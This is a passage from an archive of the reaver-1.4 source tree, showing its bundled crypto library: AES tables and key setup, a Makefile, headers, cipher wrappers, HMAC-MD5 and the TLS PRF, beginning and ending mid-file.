0xc1e3d077U, 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, }; const u32 Td4[256] = { 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, }; const u32 rcon[] = { 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ }; #else /* AES_SMALL_TABLES */ const u8 Td4s[256] = { 0x52U, 0x09U, 0x6aU, 0xd5U, 0x30U, 0x36U, 0xa5U, 0x38U, 0xbfU, 0x40U, 0xa3U, 0x9eU, 0x81U, 0xf3U, 0xd7U, 0xfbU, 0x7cU, 0xe3U, 0x39U, 0x82U, 0x9bU, 0x2fU, 0xffU, 0x87U, 0x34U, 0x8eU, 0x43U, 0x44U, 0xc4U, 0xdeU, 0xe9U, 0xcbU, 0x54U, 0x7bU, 0x94U, 0x32U, 0xa6U, 0xc2U, 0x23U, 0x3dU, 0xeeU, 0x4cU, 0x95U, 0x0bU, 0x42U, 0xfaU, 0xc3U, 0x4eU, 0x08U, 0x2eU, 0xa1U, 0x66U, 0x28U, 0xd9U, 0x24U, 0xb2U, 0x76U, 0x5bU, 0xa2U, 0x49U, 0x6dU, 0x8bU, 0xd1U, 0x25U, 0x72U, 0xf8U, 0xf6U, 0x64U, 0x86U, 0x68U, 0x98U, 0x16U, 0xd4U, 0xa4U, 0x5cU, 0xccU, 0x5dU, 0x65U, 0xb6U, 0x92U, 0x6cU, 0x70U, 0x48U, 0x50U, 0xfdU, 0xedU, 0xb9U, 0xdaU, 0x5eU, 0x15U, 0x46U, 0x57U, 0xa7U, 0x8dU, 0x9dU, 0x84U, 0x90U, 0xd8U, 0xabU, 0x00U, 0x8cU, 0xbcU, 0xd3U, 0x0aU, 0xf7U, 0xe4U, 0x58U, 0x05U, 0xb8U, 0xb3U, 0x45U, 0x06U, 0xd0U, 0x2cU, 0x1eU, 0x8fU, 0xcaU, 0x3fU, 0x0fU, 0x02U, 0xc1U, 0xafU, 0xbdU, 0x03U, 0x01U, 0x13U, 0x8aU, 0x6bU, 0x3aU, 0x91U, 0x11U, 0x41U, 0x4fU, 0x67U, 0xdcU, 0xeaU, 0x97U, 0xf2U, 0xcfU, 0xceU, 0xf0U, 0xb4U, 0xe6U, 0x73U, 0x96U, 0xacU, 0x74U, 0x22U, 0xe7U, 0xadU, 0x35U, 0x85U, 0xe2U, 0xf9U, 0x37U, 0xe8U, 0x1cU, 0x75U, 0xdfU, 0x6eU, 0x47U, 0xf1U, 0x1aU, 0x71U, 0x1dU, 0x29U, 0xc5U, 0x89U, 0x6fU, 0xb7U, 0x62U, 0x0eU, 0xaaU, 0x18U, 0xbeU, 0x1bU, 0xfcU, 0x56U, 0x3eU, 0x4bU, 0xc6U, 0xd2U, 0x79U, 0x20U, 0x9aU, 0xdbU, 0xc0U, 0xfeU, 0x78U, 0xcdU, 0x5aU, 0xf4U, 0x1fU, 0xddU, 0xa8U, 0x33U, 0x88U, 0x07U, 0xc7U, 0x31U, 0xb1U, 0x12U, 0x10U, 0x59U, 0x27U, 0x80U, 0xecU, 0x5fU, 0x60U, 0x51U, 0x7fU, 0xa9U, 0x19U, 0xb5U, 0x4aU, 0x0dU, 0x2dU, 0xe5U, 0x7aU, 0x9fU, 0x93U, 0xc9U, 0x9cU, 0xefU, 0xa0U, 0xe0U, 0x3bU, 0x4dU, 0xaeU, 0x2aU, 0xf5U, 0xb0U, 0xc8U, 0xebU, 0xbbU, 0x3cU, 0x83U, 0x53U, 0x99U, 0x61U, 0x17U, 0x2bU, 0x04U, 0x7eU, 0xbaU, 0x77U, 0xd6U, 0x26U, 0xe1U, 0x69U, 0x14U, 0x63U, 0x55U, 0x21U, 0x0cU, 0x7dU, }; const u8 rcons[] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ }; #endif /* AES_SMALL_TABLES */ /** * Expand the cipher key into the encryption key schedule. * * @return the number of rounds for the given cipher key size. */ void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[]) { int i; u32 temp; rk[0] = GETU32(cipherKey ); rk[1] = GETU32(cipherKey + 4); rk[2] = GETU32(cipherKey + 8); rk[3] = GETU32(cipherKey + 12); for (i = 0; i < 10; i++) { temp = rk[3]; rk[4] = rk[0] ^ TE421(temp) ^ TE432(temp) ^ TE443(temp) ^ TE414(temp) ^ RCON(i); rk[5] = rk[1] ^ rk[4]; rk[6] = rk[2] ^ rk[5]; rk[7] = rk[3] ^ rk[6]; rk += 4; } } reaver-1.4/src/crypto/Makefile0000755000175000017500000000164211705505260015752 0ustar reaverreaverall: libcrypto.a clean: rm -f *~ *.o *.d libcrypto.a install: @echo Nothing to be made. include ../common/lib.rules CFLAGS += -DCONFIG_TLS_INTERNAL_CLIENT CFLAGS += -DCONFIG_TLS_INTERNAL_SERVER #CFLAGS += -DALL_DH_GROUPS LIB_OBJS= \ aes-cbc.o \ aes-ctr.o \ aes-eax.o \ aes-encblock.o \ aes-internal.o \ aes-internal-dec.o \ aes-internal-enc.o \ aes-omac1.o \ aes-unwrap.o \ aes-wrap.o \ des-internal.o \ dh_group5.o \ dh_groups.o \ md4-internal.o \ md5.o \ md5-internal.o \ md5-non-fips.o \ milenage.o \ ms_funcs.o \ rc4.o \ sha1.o \ sha1-internal.o \ sha1-pbkdf2.o \ sha1-tlsprf.o \ sha1-tprf.o \ sha256.o \ sha256-internal.o LIB_OBJS += crypto_internal.o LIB_OBJS += crypto_internal-cipher.o LIB_OBJS += crypto_internal-modexp.o LIB_OBJS += crypto_internal-rsa.o LIB_OBJS += tls_internal.o LIB_OBJS += fips_prf_internal.o libcrypto.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) reaver-1.4/src/crypto/aes.h0000755000175000017500000000140111705505260015224 0ustar reaverreaver/* * AES functions * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_H #define AES_H #define AES_BLOCK_SIZE 16 void * aes_encrypt_init(const u8 *key, size_t len); void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt); void aes_encrypt_deinit(void *ctx); void * aes_decrypt_init(const u8 *key, size_t len); void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain); void aes_decrypt_deinit(void *ctx); #endif /* AES_H */ reaver-1.4/src/crypto/dh_group5.h0000755000175000017500000000126411705505260016357 0ustar reaverreaver/* * Diffie-Hellman group 5 operations * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DH_GROUP5_H #define DH_GROUP5_H void * dh5_init(struct wpabuf **priv, struct wpabuf **publ); struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private); void dh5_free(void *ctx); #endif /* DH_GROUP5_H */ reaver-1.4/src/crypto/aes_wrap.h0000755000175000017500000000344211705505260016264 0ustar reaverreaver/* * AES-based functions * * - AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * - One-Key CBC MAC (OMAC1) hash with AES-128 * - AES-128 CTR mode encryption * - AES-128 EAX mode encryption/decryption * - AES-128 CBC * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_WRAP_H #define AES_WRAP_H int __must_check aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher); int __must_check aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain); int __must_check omac1_aes_128_vector(const u8 *key, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int __must_check omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac); int __must_check aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out); int __must_check aes_128_ctr_encrypt(const u8 *key, const u8 *nonce, u8 *data, size_t data_len); int __must_check aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, u8 *tag); int __must_check aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, const u8 *tag); int __must_check aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len); int __must_check aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len); #endif /* AES_WRAP_H */ reaver-1.4/src/crypto/crypto_internal-cipher.c0000755000175000017500000001303211705505260021136 0ustar reaverreaver/* * Crypto wrapper for internal crypto implementation - Cipher wrappers * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes.h" #include "des_i.h" struct crypto_cipher { enum crypto_cipher_alg alg; union { struct { size_t used_bytes; u8 key[16]; size_t keylen; } rc4; struct { u8 cbc[32]; size_t block_size; void *ctx_enc; void *ctx_dec; } aes; struct { struct des3_key_s key; u8 cbc[8]; } des3; struct { u32 ek[32]; u32 dk[32]; u8 cbc[8]; } des; } u; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_CIPHER_ALG_RC4: if (key_len > sizeof(ctx->u.rc4.key)) { os_free(ctx); return NULL; } ctx->u.rc4.keylen = key_len; os_memcpy(ctx->u.rc4.key, key, key_len); break; case CRYPTO_CIPHER_ALG_AES: if (key_len > sizeof(ctx->u.aes.cbc)) { os_free(ctx); return NULL; } ctx->u.aes.ctx_enc = aes_encrypt_init(key, key_len); if (ctx->u.aes.ctx_enc == NULL) { os_free(ctx); return NULL; } ctx->u.aes.ctx_dec = aes_decrypt_init(key, key_len); if (ctx->u.aes.ctx_dec == NULL) { aes_encrypt_deinit(ctx->u.aes.ctx_enc); os_free(ctx); return NULL; } ctx->u.aes.block_size = key_len; os_memcpy(ctx->u.aes.cbc, iv, ctx->u.aes.block_size); break; case CRYPTO_CIPHER_ALG_3DES: if (key_len != 24) { os_free(ctx); return NULL; } des3_key_setup(key, &ctx->u.des3.key); os_memcpy(ctx->u.des3.cbc, iv, 8); break; case CRYPTO_CIPHER_ALG_DES: if (key_len != 8) { os_free(ctx); return NULL; } des_key_setup(key, ctx->u.des.ek, ctx->u.des.dk); os_memcpy(ctx->u.des.cbc, iv, 8); break; default: os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { size_t i, j, blocks; switch (ctx->alg) { case CRYPTO_CIPHER_ALG_RC4: if (plain != crypt) os_memcpy(crypt, plain, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, crypt, len); ctx->u.rc4.used_bytes += len; break; case CRYPTO_CIPHER_ALG_AES: if (len % ctx->u.aes.block_size) return -1; blocks = len / ctx->u.aes.block_size; for (i = 0; i < blocks; i++) { for (j = 0; j < ctx->u.aes.block_size; j++) ctx->u.aes.cbc[j] ^= plain[j]; aes_encrypt(ctx->u.aes.ctx_enc, ctx->u.aes.cbc, ctx->u.aes.cbc); os_memcpy(crypt, ctx->u.aes.cbc, ctx->u.aes.block_size); plain += ctx->u.aes.block_size; crypt += ctx->u.aes.block_size; } break; case CRYPTO_CIPHER_ALG_3DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { for (j = 0; j < 8; j++) ctx->u.des3.cbc[j] ^= plain[j]; des3_encrypt(ctx->u.des3.cbc, &ctx->u.des3.key, ctx->u.des3.cbc); os_memcpy(crypt, ctx->u.des3.cbc, 8); plain += 8; crypt += 8; } break; case CRYPTO_CIPHER_ALG_DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { for (j = 0; j < 8; j++) ctx->u.des3.cbc[j] ^= plain[j]; des_block_encrypt(ctx->u.des.cbc, ctx->u.des.ek, ctx->u.des.cbc); os_memcpy(crypt, ctx->u.des.cbc, 8); plain += 8; crypt += 8; } break; default: return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { size_t i, j, blocks; u8 tmp[32]; switch (ctx->alg) { case CRYPTO_CIPHER_ALG_RC4: if (plain != crypt) os_memcpy(plain, crypt, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, plain, len); ctx->u.rc4.used_bytes += len; break; case CRYPTO_CIPHER_ALG_AES: if (len % ctx->u.aes.block_size) return -1; blocks = len / ctx->u.aes.block_size; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, ctx->u.aes.block_size); aes_decrypt(ctx->u.aes.ctx_dec, crypt, plain); for (j = 0; j < ctx->u.aes.block_size; j++) plain[j] ^= ctx->u.aes.cbc[j]; os_memcpy(ctx->u.aes.cbc, tmp, ctx->u.aes.block_size); plain += ctx->u.aes.block_size; crypt += ctx->u.aes.block_size; } break; case CRYPTO_CIPHER_ALG_3DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, 8); des3_decrypt(crypt, &ctx->u.des3.key, plain); for (j = 0; j < 8; j++) plain[j] ^= ctx->u.des3.cbc[j]; os_memcpy(ctx->u.des3.cbc, tmp, 8); plain += 8; crypt += 8; } break; case CRYPTO_CIPHER_ALG_DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, 8); des_block_decrypt(crypt, ctx->u.des.dk, plain); for (j = 0; j < 8; j++) plain[j] ^= ctx->u.des.cbc[j]; os_memcpy(ctx->u.des.cbc, tmp, 8); plain += 8; crypt += 8; } break; default: return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { switch (ctx->alg) { case CRYPTO_CIPHER_ALG_AES: aes_encrypt_deinit(ctx->u.aes.ctx_enc); aes_decrypt_deinit(ctx->u.aes.ctx_dec); break; case CRYPTO_CIPHER_ALG_3DES: break; default: break; } os_free(ctx); } reaver-1.4/src/crypto/md5.c0000755000175000017500000000542211705505260015143 0ustar reaverreaver/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "crypto.h" /** * hmac_md5_vector - HMAC-MD5 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { u8 k_pad[64]; /* padding - key XORd with ipad/opad */ u8 tk[16]; const u8 *_addr[6]; size_t i, _len[6]; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = MD5(key) */ if (key_len > 64) { if (md5_vector(1, &key, &key_len, tk)) return -1; key = tk; key_len = 16; } /* the HMAC_MD5 transform looks like: * * MD5(K XOR opad, MD5(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner MD5 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if (md5_vector(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer MD5 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = MD5_MAC_LEN; return md5_vector(2, _addr, _len, mac); } /** * hmac_md5 - HMAC-MD5 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_md5_vector(key, key_len, 1, &data, &data_len, mac); } reaver-1.4/src/crypto/sha1-tlsprf.c0000755000175000017500000000555711705505260016633 0ustar reaverreaver/* * TLS PRF (SHA1 + MD5) * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "md5.h" #include "crypto.h" /** * tls_prf - Pseudo-Random Function for TLS (TLS-PRF, RFC 2246) * @secret: Key for PRF * @secret_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @seed: Seed value to bind into the key * @seed_len: Length of the seed * @out: Buffer for the generated pseudo-random key * @outlen: Number of bytes of key to generate * Returns: 0 on success, -1 on failure. * * This function is used to derive new, cryptographically separate keys from a * given key in TLS. This PRF is defined in RFC 2246, Chapter 5. */ int tls_prf(const u8 *secret, size_t secret_len, const char *label, const u8 *seed, size_t seed_len, u8 *out, size_t outlen) { size_t L_S1, L_S2, i; const u8 *S1, *S2; u8 A_MD5[MD5_MAC_LEN], A_SHA1[SHA1_MAC_LEN]; u8 P_MD5[MD5_MAC_LEN], P_SHA1[SHA1_MAC_LEN]; int MD5_pos, SHA1_pos; const u8 *MD5_addr[3]; size_t MD5_len[3]; const unsigned char *SHA1_addr[3]; size_t SHA1_len[3]; if (secret_len & 1) return -1; MD5_addr[0] = A_MD5; MD5_len[0] = MD5_MAC_LEN; MD5_addr[1] = (unsigned char *) label; MD5_len[1] = os_strlen(label); MD5_addr[2] = seed; MD5_len[2] = seed_len; SHA1_addr[0] = A_SHA1; SHA1_len[0] = SHA1_MAC_LEN; SHA1_addr[1] = (unsigned char *) label; SHA1_len[1] = os_strlen(label); SHA1_addr[2] = seed; SHA1_len[2] = seed_len; /* RFC 2246, Chapter 5 * A(0) = seed, A(i) = HMAC(secret, A(i-1)) * P_hash = HMAC(secret, A(1) + seed) + HMAC(secret, A(2) + seed) + .. * PRF = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed) */ L_S1 = L_S2 = (secret_len + 1) / 2; S1 = secret; S2 = secret + L_S1; if (secret_len & 1) { /* The last byte of S1 will be shared with S2 */ S2--; } hmac_md5_vector_non_fips_allow(S1, L_S1, 2, &MD5_addr[1], &MD5_len[1], A_MD5); hmac_sha1_vector(S2, L_S2, 2, &SHA1_addr[1], &SHA1_len[1], A_SHA1); MD5_pos = MD5_MAC_LEN; SHA1_pos = SHA1_MAC_LEN; for (i = 0; i < outlen; i++) { if (MD5_pos == MD5_MAC_LEN) { hmac_md5_vector_non_fips_allow(S1, L_S1, 3, MD5_addr, MD5_len, P_MD5); MD5_pos = 0; hmac_md5_non_fips_allow(S1, L_S1, A_MD5, MD5_MAC_LEN, A_MD5); } if (SHA1_pos == SHA1_MAC_LEN) { hmac_sha1_vector(S2, L_S2, 3, SHA1_addr, SHA1_len, P_SHA1); SHA1_pos = 0; hmac_sha1(S2, L_S2, A_SHA1, SHA1_MAC_LEN, A_SHA1); } out[i] = P_MD5[MD5_pos] ^ P_SHA1[SHA1_pos]; MD5_pos++; SHA1_pos++; } return 0; } reaver-1.4/src/crypto/md5-non-fips.c0000755000175000017500000000566611705505260016704 0ustar reaverreaver/* * MD5 hash implementation and interface functions (non-FIPS allowed cases) * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "crypto.h" /** * hmac_md5_vector_non_fips_allow - HMAC-MD5 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { u8 k_pad[64]; /* padding - key XORd with ipad/opad */ u8 tk[16]; const u8 *_addr[6]; size_t i, _len[6]; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = MD5(key) */ if (key_len > 64) { if (md5_vector_non_fips_allow(1, &key, &key_len, tk)) return -1; key = tk; key_len = 16; } /* the HMAC_MD5 transform looks like: * * MD5(K XOR opad, MD5(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner MD5 */ _addr[0] = 